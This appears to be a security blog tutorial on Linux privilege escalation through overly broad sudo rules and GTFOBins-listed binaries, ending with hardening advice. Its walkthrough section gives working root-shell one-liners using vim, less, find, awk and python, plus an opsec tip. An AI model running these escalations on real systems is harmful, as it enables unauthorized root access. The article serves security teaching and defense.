Sudo Misconfiguration and GTFOBins Escalation

Sudo Misconfiguration and GTFOBins Escalation - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

sudo exists to grant narrow, auditable exceptions to the rule that only root can do root things — a specific user runs a specific command as root, logged, without ever having the root password. That model only holds if the granted command cannot itself be abused to do something other than its intended job. In practice, an enormous number of everyday Unix tools — editors, pagers, interpreters, archivers, even find and awk — carry built-in shell-escape or file-read/write functionality that was designed for legitimate use but doubles as a full command-execution primitive the moment sudo hands it root.

This is exactly the catalog that the community project GTFOBins documents: for hundreds of common binaries it lists the exact flag or interactive command that turns “run this program as root” into “get a root shell.” Combined with a sudoers entry that is broader than intended — a wildcard argument, NOPASSWD, environment passthrough, or simply the wrong binary on the allow-list — sudo misconfiguration is one of the fastest, most reliable privilege-escalation paths on any Linux host, and the first thing any competent operator checks after landing a shell.

Attack Prerequisites

Sudo escalation needs local access and a permission the current user already holds under sudo. Concretely:

  • Local shell access as a user with at least one entry in sudoers (check with sudo -l) or an interactive password sudo can prompt for.
  • A sudo rule naming a GTFOBins-abusable binary — editors (vim, nano), pagers (less, more, man), interpreters (python, perl, awk, ruby), archivers (tar, zip), or utilities with -exec/shell-out features (find, nmap in interactive mode).
  • NOPASSWD, a wildcard, or environment passthrough in the rule — none of these are strictly required (if you know the account password, a plain rule is enough), but they remove the last friction and are common in real-world misconfigurations.
  • No compensating restriction in the sudoers line, such as sudoedit restricting an editor to editing (not shelling out) or command arguments pinned tightly enough to prevent flag injection.

How It Works

When sudo executes an allowed command, it does an exec — the target binary runs with real and effective UID 0, full root capabilities, and (unless the sudoers policy resets it) much of the invoking user’s environment. sudo itself has no idea what the target program does internally; its job ends at deciding whether the invocation is allowed and then handing off to the kernel’s execve(). From that point on, standard process behavior applies: if the program can be told, via a flag, a configuration file, or an interactive command mode, to spawn a child process or open a shell, that child inherits root’s UID because the parent is running as root.

This is why the specific binary on the allow-list matters so much more than administrators often assume. sudo /usr/bin/systemctl restart nginx sounds narrow, but systemctl supports an edit subcommand that drops the invoking user into $EDITOR on a unit file as root; sudo /usr/bin/find /var/log -name '*.log' sounds like a read-only search, but find has always supported -exec to run an arbitrary command on each match — including a shell with -p, which tells sh/bash to preserve the effective UID it was launched with instead of dropping to the real UID. GTFOBins exists precisely to catalog this gap between “what a tool is nominally for” and “everything it is technically capable of.”

Wildcards in the command portion of a sudoers rule (sudo -u root /usr/bin/tar -czf /backup/*.tar.gz /home/*) widen this further by letting the invoking user control arguments the administrator did not anticipate, similar to the tar checkpoint-action wildcard trick seen in cron misconfiguration. env_keep/SETENV passthrough in the sudoers policy can leak dangerous environment variables (like LD_PRELOAD or PYTHONPATH) into the privileged process, opening yet another code-execution channel independent of the target binary’s own features.

Vulnerable Code / Configuration

The canonical vulnerable sudoers entry: a NOPASSWD grant on a binary that GTFOBins lists as shell-escapable, added for a legitimate one-off task and never revisited.

# /etc/sudoers.d/deploy
deploy ALL=(ALL) NOPASSWD: /usr/bin/vim
# intended: let 'deploy' edit config files without a password prompt
# actual effect: 'deploy' can get a root shell in one command --
# vim has a native :! shell-escape and a -c 'command' flag
TEXT

The same pattern recurs with a pager, which most admins assume is read-only:

# /etc/sudoers.d/support
support ALL=(ALL) NOPASSWD: /usr/bin/less /var/log/app/*.log
# intended: let support tail application logs as root
# actual effect: 'less' supports '!' to run a shell command from its
# pager prompt -- and the trailing wildcard means ANY file glob-matching
# /var/log/app/*.log can be opened, not just legitimate logs
TEXT

And with find, granted for what looked like a narrow cleanup task:

# /etc/sudoers.d/cleanup
backupuser ALL=(ALL) NOPASSWD: /usr/bin/find
# no argument restriction at all -- find's -exec flag runs anything as root
TEXT

Walkthrough / Exploitation

Always start by listing exactly what the current account is permitted to run — this is the single most important reconnaissance command on any Linux box:

sudo -l
# example output:
# User deploy may run the following commands on host01:
#     (root) NOPASSWD: /usr/bin/vim
Bash

Cross-reference every listed binary against GTFOBins (gtfobins.github.io) for a sudo entry, then run the documented one-liner. For vim:

sudo vim -c ':!/bin/sh'
# or, without launching the editor interactively:
sudo vim -c ':!/bin/sh' -c ':q'
Bash

For less/more (drop to a shell from the pager prompt with !):

sudo less /var/log/app/access.log
# at the ':' prompt inside less, type:
!/bin/sh
Bash

For find (the classic -exec shell escape):

sudo find . -exec /bin/sh -p \; -quit
Bash

For awk, python, and other interpreters granted via sudo:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Bash

Every resulting shell runs as root — confirm with id and treat the shell as a fully privileged foothold from there.

Note: sudo -l sometimes requires the account’s own password even when the granted commands are NOPASSWD for execution — always try it regardless, and if password auth fails, check for cached credentials via sudo -v timing or look for the rule directly in readable /etc/sudoers.d/* files if the account has read access.

Opsec: Prefer the sh -p / bash -p invocation over a bare /bin/sh when the target shell drops privileges based on real vs. effective UID mismatch — -p (privileged mode) tells the shell not to reset its effective UID to the real UID at startup, which matters specifically for find -exec and similar cases where the shell is launched from a still-root parent.

Detection and Defense

Sudo hardening is about matching the grant to the narrowest possible capability and auditing the delta between intent and actual power:

  • Never grant sudo on a GTFOBins-listed binary without argument restriction — check any candidate binary against gtfobins.github.io before adding a sudoers rule.
  • Avoid NOPASSWD unless required for automation, and scope it to the exact command and arguments, not a bare binary path.
  • Pin full paths and forbid wildcards in the command field; a wildcard in the argument list routinely defeats the intent of the rule.
  • Use sudoedit/visudo -f patterns instead of granting an editor directlysudoedit copies the file to a temp location, invokes the editor as the *user* (not root), and copies it back, so the editor’s shell escape never runs as root.
  • Strip environment passthrough — avoid env_keep/SETENV for variables like LD_PRELOAD, PYTHONPATH, PERL5LIB; use Defaults env_reset (the modern default) and do not weaken it.
  • Log and alert on sudo usage via /var/log/auth.log or /var/log/secure, and centralize sudoers review — sudo -l output for every account should be part of periodic hardening audits.

Real-World Impact

GTFOBins-driven sudo escalation is arguably the most common single technique in Linux privilege-escalation engagements and CTFs — it requires no exploit development, works identically across distributions, and misconfigured NOPASSWD entries for maintenance tooling (backup scripts, log viewers, deployment helpers) are endemic in environments that grew organically. It is one of the first checks in every major Linux privesc methodology (HackTricks, PEASS-ng’s linpeas.sh, and the GTFOBins project itself) precisely because sudo -l is trivial to run and the payoff — immediate root — is so high relative to the effort.

Conclusion

sudo is only as safe as the least-restrictable binary on the allow-list. Any rule that grants an editor, pager, interpreter, or file-manipulation tool without argument restriction should be treated as a root grant, because GTFOBins guarantees an attacker will treat it as one. Narrow scoping, sudoedit instead of raw editors, no wildcards, and regular sudo -l auditing across every account are the difference between sudo as a least-privilege control and sudo as a root backdoor with extra steps.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL